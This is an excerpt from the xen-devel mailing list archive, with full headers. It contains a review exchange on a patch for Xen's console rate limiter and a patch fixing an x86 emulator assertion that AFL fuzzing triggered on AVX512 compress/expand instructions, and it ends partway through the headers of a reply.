 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4634e5c3sm22887358f8f.1.2026.07.16.03.26.50
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 03:26:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784197611; x=1784802411; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=MpO4sIbuNKtAMFn/koUavB7k3+D+/ztIwPaEXdYtvps=;
        b=EqbmHrC2tdgDAmqOk1dXRbJdMPd2pttjFGv9tEXg7Kz98oW9s6VcGkBzrWFNbuIhWN
         1xeSR3veCPj+4Flbqkf6kdKO2VyNjJnKFj7whKBhJdmrGqb2wfG4qleoa1mcLGmnUgc9
         opql0Fzsv7j4PzYuf/158Nzi0xmri1v0tBKawZIiyXzuY0uf55oqAFw85qADatqOxkLL
         qMuL7GR44Wz7waOA3HkuwghrFIMBl1dhCpuBRNzTpDS5jjQHb0AuuOTmEaX8thXCBGK4
         065K809I+1u51YFxOuSGY5uv7bkpzORwMPY1H+r2mEuwgkMKUQIbeBagxIOPVEOJZRuF
         YJ8A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784197611; x=1784802411;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=MpO4sIbuNKtAMFn/koUavB7k3+D+/ztIwPaEXdYtvps=;
        b=K+kU/MICnu0/6w0TmEaECNdJkOVczxA01DMEek4fqJeDhGCAmv067HqP+shebpBXLj
         Q3EdzN6Wibt0XuRbU2pxnh6hQ2jlvROn3sd+xgEcnwmejDKcEHeHx1CRt8vsYYmDUSWY
         xKNSVqpNSaq9ouNqZeO26ZT2hgyRgC/4267JyN01xgW/caCSxSbfloo8T9oD1YhQtmMV
         ZvMzlt8IypLvL0hWylLK0ng32NsX7gk50YimQ3aJZr6JraWjjs+OcbfBy5rWUmZfhiUS
         PrIKupsA3MC299UTfAv7wvknqOVlnBbCk2Q+Ej2pVY23NvZWrkLynNo3M85jIbrtDQTP
         vxsA==
X-Forwarded-Encrypted: i=1; AHgh+RphkVsARht+5YlI5fRgJktvuHN56OAQTf8TFOu0rEkxxgtgtjQzr3awJUS6TyGsjgaXnAnM1IxLvLA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyc9xuudDro3Lib8WyZ0Vjznzvv5+WaYl8H5J+gGBO5qX8DlYOy
	q1Ov1eC2SjYIn1xcz6lq0i1Wkh4OZSUGYTAAh5Gs6B/I23jK5jeglmiJDLtCHYGA/w==
X-Gm-Gg: AfdE7cn4yBNopZiHOkrad4XFverCAhr0AdreLX7FLB6AQfZgtxuiqyYm6f8V1Msio/e
	JGEQvnvIzzJ5fY7/ovAUiwkvZ5LoXpWnxTZdR2Y07pSEiQ0Hwa+2fRPKXbq+vJ5Ws2OsekUow8Z
	aK0Jh/wDgoes1O6tKOxzYK/qDXgeZ5eAKKVg9BVcrIzpBxdIrCoeX8XhPSYOsr/n5gWo8Cmfvv5
	VRHhMVaNkow4+T7U/X211w3W8c9klv6YNf0v8LhmLkbZae0zNBTFL0eofP3+CnQwn1b8XDxDi2M
	Mi3oZ7twTTk2lC+9lc5aTXM85TWSd9yCvFMMq68PAXp7i7I1BhlLkk4rOMRt/zWm7AMlY9e2ZIJ
	kHlNTyKkNoMPv17/ANFuu5hQC9JZ0+dT2sI8P0qIcpq+UnRU4RezFm3GKaj4bRcZfS2XHFz6GEv
	hY4xqoAtOZmA85incYuo/VU1Xh7L+gW6+6uen0kGWxbwvacZL9vykSVyhPy6+h2tAMiQ==
X-Received: by 2002:a05:6000:248a:b0:47d:ec60:6581 with SMTP id ffacd0b85a97d-47f487e3259mr12510373f8f.0.1784197610876;
        Thu, 16 Jul 2026 03:26:50 -0700 (PDT)
Message-ID: <beb2cccb-727c-4626-bf17-97d0801cb153@suse.com>
Date: Thu, 16 Jul 2026 12:26:49 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 2/4] xen/console: correct leaky-bucket rate limiter
To: Teddy Astie <teddy.astie@vates.tech>, dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-3-dmukhin@ford.com>
 <1784195449.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1784195449.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784197611-A44CBAE4-1C85FA24/0/0
X-purgate-type: clean
X-purgate-size: 2379

On 16.07.2026 11:50, Teddy Astie wrote:
> Le 15/07/2026 Ã  22:24, dmukhin@ford.com a Ã©critÂ :
>> From: Denis Mukhin <dmukhin@ford.com>
>>
>> Use existing printk_ratelimit_ms and printk_ratelimit_burst variables in
>> do_printk_ratelimit() instead of hardcoded values 5000 and 10 respectively.
>>
>> Ensure rate limiter is disabled if either printk_ratelimit_ms or
>> printk_ratelimit_burst is 0. Make sure no unnecessary initialization is done
>> in the corner case.
>>
>> Also, simplify the limiter code by using min().
>>
>> Signed-off-by: Denis Mukhin <dmukhin@ford.com>
>> ---
>> Changes since v2:
>> - fixed typing and 32-bit integer overflow problem
>> ---
>>   xen/drivers/char/console.c | 21 +++++++++++++--------
>>   1 file changed, 13 insertions(+), 8 deletions(-)
>>
>> diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
>> index 5d395f882e08..de9f2432445d 100644
>> --- a/xen/drivers/char/console.c
>> +++ b/xen/drivers/char/console.c
>> @@ -1274,21 +1274,26 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
>>                           unsigned int ratelimit_burst)
>>   {
>>       static DEFINE_SPINLOCK(ratelimit_lock);
>> -    static unsigned long toks = 10 * 5 * 1000;
>> -    static unsigned long last_msg;
>> +    static unsigned long long toks, last_msg;
>>       static unsigned int missed;
>> +    unsigned long long now, limit;
>>       unsigned long flags;
>> -    unsigned long long now = NOW(); /* ns */
>> -    unsigned long ms;
>> +    s_time_t ms;
>>   
>> -    do_div(now, 1000000);
>> -    ms = (unsigned long)now;
>> +    if ( !ratelimit_burst || !ratelimit_burst )
> 
> Do you intend here ( !ratelimit_ms || !ratelimit_burst ) ?
> 
>> +        return true;
>> +
>> +    limit = min(ratelimit_burst * ratelimit_ms, UINT_MAX);
> 
> That looks no-op (at least at first stance), as UINT_MAX is the largest 
> unsigned int value; hence `ratelimit_burst * ratelimit_ms` (both 
> unsigned int) can't be larger than it; even if it overflows.
> 
> I think we need to cast both ratelimit_ms and ratelimit_burst to 
> unsigned long long before doing the multiply, so that the multiply can't 
> overflow (not sure exactly how to write it without being too verbose 
> though).

No such casting please. __builtin_umul_overflow() is what wants using
for such purposes.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 10:43:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 10:43:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363758.1615288 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJYe-00007p-UH; Thu, 16 Jul 2026 10:43:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363758.1615288; Thu, 16 Jul 2026 10:43:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJYe-00007i-RJ; Thu, 16 Jul 2026 10:43:12 +0000
Received: by outflank-mailman (input) for mailman id 1363758;
 Thu, 16 Jul 2026 10:43:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkJYd-00007c-97
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 10:43:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkJYc-00DnqM-6b
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:43:10 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58b5ad-e002-0a2a0a5209dd-0a2a4507a3f0-30
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:43:10 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58b5bd-b4ea-0a2a45070019-d155dd33d4a3-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:43:09 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47df6a5202bso4224819f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 03:43:09 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f462e0cb2sm23977655f8f.0.2026.07.16.03.43.08
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 03:43:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784198589; x=1784803389; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=s6FoX6cxGuER9i3UrmTeQDBzSToQeEvydlKKUILriu4=;
        b=ZTFEa/nhUQR0mVFNB9YMJFHrUCJn5f4PYlM1JY0lxjTRMc1M570V3B+YOExKV3Roml
         3FHnfXTDr+N/uzP0RxSTHXh433y/ewkqI3CNn1JlHNf5UiZp3U635BE1rdymcjIzAkTn
         MLRV1/J0hbukdpx7laSQ9NI6JB/Hz9R9enGUsYcdYo/sviXsYigv5ZIAqh93TIX91dVY
         Apcwh6xo6T3fxXTFzYkYq+YLvv3Fcrxk/rqfXjFigktfuHSVT2S+VNzerak3u4QeeK03
         qXFEZLAZdBtfY7Kmt2C7uawDMp21EsSk1uJIKO0mEORIz6bmngkcD9D9odu17q9uUcTm
         R3Rg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784198589; x=1784803389;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=s6FoX6cxGuER9i3UrmTeQDBzSToQeEvydlKKUILriu4=;
        b=EmJ8oYflFfzn0g0oiGmc1vjI+7/vTBFukjl1fysDoiFNN6E4WkQTFkkVi3IO9AKzn0
         +fujuC8Ifh6nLmMeeNBAAECUShIYCFQbDE6f7hFWFIznwLhj0m8ThEMr0Eubu3D8HcTh
         dQm/zjlS3HRp7DqhtDD3naNCK0qqjHevUP2Lo7vEmfpe0HfW0+nUXWRmh+kJMPE5QXZj
         mmoVhKqofSu5/jErDcFp198KB+sFZWhgjbUmQbPC7mDE39epW+kXh7yfPjYxgWXk9jKo
         MYU5CkEXUoI7Y+sPfI1UDPYA8wpmoR1OwrLLDR4Icaq33d8gRDOprIfvejQrb9DyetZm
         KUSw==
X-Gm-Message-State: AOJu0Yz4BUhsME3xHd6b58p1StKTIcZOHmRgY8N+WLx/5LEAIN1aHg7i
	42PAgK0TjcHgTXgCyfiSuyyw82TwWC2id0p1vYtKMv26F9QZjqvBnFCdW9eFehMf7bFenojSFL4
	w8cnxlA==
X-Gm-Gg: AfdE7cl1yls6ttlVCeU+E66e94BQ9AUHHiViCkMMSpr/ijM95hnJrWKIapvahW7rYTq
	whFGrsDTlzQC8qNuK2l3+saPyGakvVP5sS85ZAppIPsNqsBp8tkrMuLo+g+SWh9Yct772neMho6
	r2dgaPaBvoPd3Qx1iSJ8wadHN2YARxqogVRClhp1it9KT3lq6JzTH3Xu+4evniD5G5BLpAWb2BE
	u9c+E1nst8YtVJ0UqALxwFgdyfl0RqEu5t648cTxg/4pnPIWIkR/gsFHOTvrUPZogcYByrL6wXb
	PmYF2iklKf+HkHomDOVNF4MXtholp70RwwqoOvTlINvrXR7meuLmfYr6Z4udfKEIi1NocwPHrnH
	IQ2I2Wav1tuz22JBW1H892YulNTCP2Z8KDRLQd88xOSYYvIuupJa7JLZyeoAHhxwySD0YlUIJPG
	KX5EVdLWw5sPs43cO8Ecdzcl66tRPirJmMSHeJ+12wQsTBQVw/FnqxNhvDzWhQBaZScw==
X-Received: by 2002:a05:600c:8b6b:b0:493:f6f7:299e with SMTP id 5b1f17b1804b1-4953c273d48mr69755865e9.20.1784198589358;
        Thu, 16 Jul 2026 03:43:09 -0700 (PDT)
Message-ID: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
Date: Thu, 16 Jul 2026 12:43:08 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH] x86emul: V{,P}{COMPRESS,EXPAND}* can (wrongly) trigger
 assertion
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8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vpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1784198589-A76D2AE4-F97E0DA6/0/0
X-purgate-type: clean
X-purgate-size: 1827

AFL has pointed out that the op_bytes-is-not-0 assertion in common SIMD
handling can trigger for these insns. Indeed when the (relevant part of)
the controlling mask register is 0, no memory is accessed at all. Leave
op_bytes unaltered in this case, to engage the short-circuiting in common
SIMD handling when fault_suppression is true and op_bytes is 0.

While there also correct a related typo in the test harness.

Fixes: 65f82d4ce1ea ("x86emul: support AVX512{F,_VBMI2} compress/expand insns")
Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
In a release build, due to op_mask being 0 when n is 0, the short-circuit
mentioned will prevent any damage.

--- a/tools/tests/x86_emulator/predicates.c
+++ b/tools/tests/x86_emulator/predicates.c
@@ -1946,7 +1946,7 @@ static const struct evex {
     { { 0x83 }, 2, T, R, pfx_66, W1, Ln }, /* vpmultishiftqb */
     { { 0x88 }, 2, T, R, pfx_66, Wn, Ln }, /* vpexpandp{s,d} */
     { { 0x89 }, 2, T, R, pfx_66, Wn, Ln }, /* vpexpand{d,q} */
-    { { 0x8a }, 2, T, W, pfx_66, Wn, Ln }, /* vpcompressp{s,d} */
+    { { 0x8a }, 2, T, W, pfx_66, Wn, Ln }, /* vcompressp{s,d} */
     { { 0x8b }, 2, T, W, pfx_66, Wn, Ln }, /* vpcompress{d,q} */
     { { 0x8d }, 2, F, R, pfx_66, Wn, Ln }, /* vperm{b,w} */
     { { 0x8f }, 2, F, R, pfx_66, W0, Ln }, /* vpshufbitqmb */
--- a/xen/arch/x86/x86_emulate/x86_emulate.c
+++ b/xen/arch/x86/x86_emulate/x86_emulate.c
@@ -6236,9 +6236,11 @@ x86_emulate(
             ASSERT(op_bytes == n * elem_bytes);
             op_mask &= ~0ULL >> (64 - n);
             n = hweight64(op_mask);
-            op_bytes = n * elem_bytes;
             if ( n )
+            {
+                op_bytes = n * elem_bytes;
                 op_mask = ~0ULL >> (64 - n);
+            }
         }
         goto simd_zmm;
 


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 10:45:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 10:45:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363768.1615296 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJaY-00015Q-CO; Thu, 16 Jul 2026 10:45:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363768.1615296; Thu, 16 Jul 2026 10:45:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJaY-00015J-9J; Thu, 16 Jul 2026 10:45:10 +0000
Received: by outflank-mailman (input) for mailman id 1363768;
 Thu, 16 Jul 2026 10:45:08 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wkJaW-00012v-62
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 10:45:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkJaV-00DoNB-Il
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:45:07 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a58b62f-e002-0a2a0a5209dd-0a2a45058d52-18
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:45:07 +0200
Received: from [40.93.194.30]
 (helo=SN4PR0501CU005.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a58b631-4cb1-0a2a45050019-285dc21e3090-4
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:45:06 +0200
Received: from DS7PR03MB8265.namprd03.prod.outlook.com (2603:10b6:8:266::20)
 by DM6PR03MB4986.namprd03.prod.outlook.com (2603:10b6:5:1e4::7) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.12; Thu, 16 Jul
 2026 10:45:03 +0000
Received: from DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2]) by DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2%4]) with mapi id 15.21.0223.008; Thu, 16 Jul 2026
 10:45:03 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=B8waNPSQF3n1vSjFH65VvZHiX4JG8+Bh6CVIFX2O3Nwnk/XphgPq7o1MRwomWL6AK8Bwz6PIEJ4Oem8IHUvnh/xJ1ChLl3qGwWrzj0ggJXmQORC2b3jkTVoRM0Qn9VRy48HhvUFjKC6GiMIivlpNJc/TiHCbg3XLTuDXvhYNpU0rQLPR4NGLdwTaJ5U5OefL/en4C8S3Er50v5H6OCnevmCqoQTiYlYkE8bVaxqsBfIP4jT5mPrZ/4+4r9JcGckMCRQsCJ6cHeG4Bof9VH+vZxUEnuRwuBmZoiCoLTe6qLJZszkCHwKE1RoQikDXTxeVXWZZHKb+IDAYqyqsEs1VPw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=CTpAym2lhf+DC44a+eMyiTdjDTs7iIvf7olgGSYG440=;
 b=tHg44pRKXk2/S3Nm417/wgtUxmleypy69vsxbRVRUDTTOQZhwE2h8Ywd0qzlVxmDwnc3qDyv4rHw6rh28VWkC1kDHfQrStjAflEl6dP90IODD5uTwTAf+X8x62QifJU43wxFkO1ieFizy96gZZq4h890AHc11lzWgT4uQloBWxeXbt6rHQu95jjRYkv+utX44y2VqTzMOeZQLTkeZ7aqUJjsVBvVz2eS9IiMEjQwgKpf7kVV0Vyw0/HUeVPpSIPECk0MRIaRFzb3Cu9koYzbyBVLod0rbML1pQTMz5tDB52lp+bPHt1Yjd1XtFOCX0oCE9AsiaOGF2TCqLkaeiYXdw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=CTpAym2lhf+DC44a+eMyiTdjDTs7iIvf7olgGSYG440=;
 b=wSruXiXpKUkLZt22NpVzCKySEHobod6Z1xKF5yhhEC6x7h+pL1+3ZSOimoefLRiIzvcDdGrrbWgcZX7v+u2saqyXWzP2U5X1dT0bjcSVg5OgRNZ5Huts7JSj/QmGFgeB751VzeeR+yiQwz4qlVpeD6ueoWDNK9rM7l+0TtVfavc=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <1f8c6f13-f774-4d99-97f2-79767392785b@citrix.com>
Date: Thu, 16 Jul 2026 11:44:59 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH] x86emul: V{,P}{COMPRESS,EXPAND}* can (wrongly) trigger
 assertion
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
